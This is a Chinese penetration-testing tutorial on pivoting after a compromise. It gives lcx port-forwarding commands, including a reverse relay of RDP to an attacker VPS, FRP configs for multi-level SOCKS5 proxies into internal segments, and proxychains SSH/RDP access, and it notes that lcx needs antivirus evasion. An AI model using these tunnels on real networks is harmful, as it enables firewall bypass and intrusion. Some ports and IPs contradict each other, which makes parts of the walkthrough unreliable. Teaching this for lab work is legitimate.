1.端口转发和代理

1.正向连接和反向连接

1.正向连接
正向连接就是受控端主机监听一个端口,由控制端主机主动去连接受控端主机的过程,适用于受控主机具有公网IP的情况下。

2.反向连接
反向连接是控制端主机监听一个端口,由受控端主机反向去连接控制端主机的过程,适用于受控端主机没有公网IP的情况。

在渗透测试中,正向连接往往受限于受控主机上的防火墙屏蔽及权限不足等情况,
而反向连接可以很好地突破这些限制。

2.端口转发与映射

端口转发(Port Forwarding)是网络地址转换(NAT)的一种应用。通过端口转发,一个网络端口上收到的数据可以被转发给另一个网络端口。转发的端口可以是本机的端口,也可以是其他主机上的端口。

内网防火墙会检查敏感端口的连接情况,如果连接存在异样会阻断通信。通过端口转发可以将敏感端口数据转发到防火墙允许的端口上,建立通信隧道,绕过防火墙。

端口映射(Port Mapping)也是网络地址转换(NAT)的一种应用,用于把公网的地址翻译成私有地址。端口映射可以将外网主机收到的请求映射到内网主机上,使得没有公网P地址的内网主机能够对外提供相应的服务。

根据相关资料,端口转发与端口映射的概念并没有严格的术语解释。

3.SOCKS代理

SOCKS是一种代理协议,其端口为1080,有SOCKS4和SOCKS5两个版本。
SOCKS4只支持TCP。SOCKS5可以支持TCP、UDP和各种身份验证机制等协议。

采用SOCKS协议的代理服务器被称为SOCKS服务器,这是一种通用的代理服务器,在网络通信中扮演着一个请求代理人的角色。

内网渗透中通过搭建SOCKS代理可以与目标内网主机进行通信。

2.常见转发与代理工具

1.LCX

lcx基于Socket套接字,很多杀软已将Lcx加入特征库,实际时需要免杀。

网上下载地址很多,本文提供下载地址:http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip

1.目标有公网IP

假设Windows Server 2012 具有公网IP
Windows 7为测试人员攻击机。

image.png

此时已获取Windows Server2012的控制权,需要登录其远程桌面查看情况,但是防火墙对3389端口做了限制,不允许外网机器对3389端口进行连接。

可以通过端口转发,将3389端口转发到防火墙允许的端口上,例如4444端口。
Windows Server 2012上运行

lcx.exe -tran 4444 127.0.0.1:3389

image.png

攻击机连接4444端口即可远程连接
image.png

成功连接:
image.png

2.端口映射

环境:
Web服务器(Windows Server 2012)有两个网卡,公网:192.168.89.10  内网:10.10.10.13
内网还存在一台MYSQL服务器:10.10.10.15
已获取Windows Server 2012 的控制权,得知内网存在MYSQL服务器且获得Mysql登录凭据
目标:登录MYSQL服务器

image.png

环境配置:
Windos Server 2012两块网卡,
一块配192.168.89.10,另一块配10.10.10.13
image.png

Windows 7一块网卡,ip配为10.10.10.15
image.png

连通性测试
image.png

将MYSQL服务器的3306端口映射到Windows Server 2222端口
Windows Server 2012执行

lcx.exe -tran 2222 10.10.10.15 3306

ip为192.168.89.20的攻击机借助Navicat连接Windows Server 2012 的2222端口
image.png
成功连接:
image.png

3.目标机无公网IP

Web服务器 10.10.10.15无公网IP, 通过NAT对外提供Web服务
已获得Web服务器的登录凭证。

image.png

无法通过IP访问Mysql服务器.需要公网VPS先监听一个端口,将Web服务器的3389端口转发到VPS的这个端口上。

公网VPS 监听本地4444端口,并将8888端口接收到的数据转发给本地的4444端口

lcx.exe -listen 4444 8888

image.png

Mysql服务器用自己的3306端口去连接VPS的8888端口

lcx.exe -slave 10.10.10.13 8888 127.0.0.1 3389

image.png

攻击机rdesktop连接VPS的4444端口

rdesktop 192.168.89.10:4444

成功连接:
image.png

2.FRP

FRP是一个专注于内网穿透的高性能的反向代理引用,支持TCP,UDP,HTTP,HTTPS等协议.
FRP支持搭建SOCKS5代理应用

项目地址:https://github.com/fatedier/frp

FRP主要包含以下文件:
 frps , 服务端程序 , frps.ini , 服务端配置文件;
 frpc , 客户端程序 , frpc.ini , 客户端配置文件;

测试环境
image.png
资产表
image.png

1.一级网络代理

已获取Windows Server2012 Web服务器的控制权,获取FTP服务器的SSH登录凭据
目标:继续渗透并登录FTP服务器的SSH
途径: Windows Server 2012上使用FRP搭建SOCKS5代理服务
1.VPS(Ubuntu 20.04 192.168.2.x)作为FRP服务端,执行如下命令启动FRP服务端程序

./frps -c ./frps.ini

frps.ini文件内容如下:

[common]
bind_addr = 0.0.0.0 #服务端上绑定的ip
bind_port = 7000 #服务器上绑定的端口

填写配置文件时需要将注释删掉

2.Windows Server 2012作为FRP客户端,执行如下命令启动客户端程序:

.\frpc.exe -c .\frpc.ini

frpc.ini文件内容如下:

[common]
server_addr = 192.168.2.x #指向Frp服务器绑定的IP地址
server_port = 7000 #指向Frp服务器绑定的端口
[socks5]
remote_port = 1080 #代理所使用的端口,会被转发到服务器
plugin = socks5 #代理的类型

成功在Windows Server 2012 与VPS之间搭建了一个SOCKS5代理服务。可以借助第三方工具让计算机的其他应用使用这个SOCKS5代理,如ProxyChains、Proxifier等。

以ProxyChains为例。ProxyChains是一款可以在linux下实现全局代理的软件,可以使用任何应用程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS4、SOCKS5类型代理。

首先编辑ProxyChains配置文件 /etc/proxychains.conf, 将SOCKS5代理服务器的地址指向FRP 服务端的地址。
image.png

命令行前加上”proxychains” 便可以用此SOCKS5代理

proxychains ssh root@10.10.10.15

通过SOCKS5代理登录FTP的SSH

2.二级网络代理

获取FTP服务器控制权后,经过信息收集,发现还有一个网段为192.168.30.0/24的办公区网络,需要继续渗透并登录文件服务器的远程桌面。用FRP在DMZ区与办公区之间搭建一个二级网络的SOCKS5代理,从而访问办公区的文件服务器。
1.VPS启动FRP服务端

./frps -c ./frps.ini

服务端配置文件fprs.ini的内容如下

[common]
bind_addr = 0.0.0.0
bind_port = 7000

2.Windows Server 2012启动FRP客户端,连接VPS的服务器

.\frpc.exe -c .\fprc.ini

同时将本地10808端口转发到VPS的1080端口

[common]
server_addr = 192.168.2.x
server_port = 7000

[socks5_forward]
type = tcp #所使用的协议类型
local_ip = 10.10.10.13 #本地监听的IP地址
local_port = 10808 #要转发的本地端口
remote_port = 1080 #要转发到的远程端口

3.Windows Server 2012启动一个FRP服务端

.\frps.exe -c .\frps.ini

服务端配置文件frps.ini内容如下

[common]
bind_addr = 10.10.10.13 #在Windows Server 2012上的FRP服务器绑定的IP地址
bind_port = 7000 #在Windows Server 2012上的FRP服务端绑定的端口

4.DMS的FTP服务器上启动FRP客户端

./frpc -c ./frpc.ini

连接Windows Server 2012 并在10808端口上启动SOCKS5代理服务后,转发到Windows Server 2012的10808端口上。
frpc.ini的内容如下

[common]
server_addr = 10.10.10.13
server_port = 7000

[socks5]
type = tcp
remote_port = 10808 #代理所使用的端口,会被转发到服务端
plugin = SOCKS5 #代理的类型

到此,成功在DMZ区与办公区之间搭建了一个二级网络的SOCKS5代理
同理,在ProxyChains文件的最后一行添加 “socks5 192.168.2.x 1080”

3.三级网络代理

与二层同理,在二层的基础上多了一级代理。
1.DMS的FTP服务器启动一个FRP客户端

./frpc -c ./frpc.ini

frpc.ini

[common]
server_addr = 10.10.10.13
server_port = 7000

[socks5_forward]
type = tcp
local_ip = 192.168.30.40
local_port = 10809
remote_port = 10808

2.DMS的FTP服务器上启动一个FRP服务端

./frps -c ./frps.ini

frps.ini

[common]
bind_addr = 192.168.30.40
bind_port = 7000

3.办公区的文件服务器启动FRP客户端,连接FTP服务器的FRP服务端,并在10809端口上启动SOCKS5代理服务后,转发到FTP服务器的10809端口

[common]
server_addr = 192.168.30.40
server_port = 7000

[socks5]
type = tcp
remote_port = 10809
plugin = socks5

三级网络代理搭建完成。在ProxyChains配置文件的最后一行添加”socks5 192.168.2.x 1080”

proxychains rdesktop 192.168.60.10

即可连接远程桌面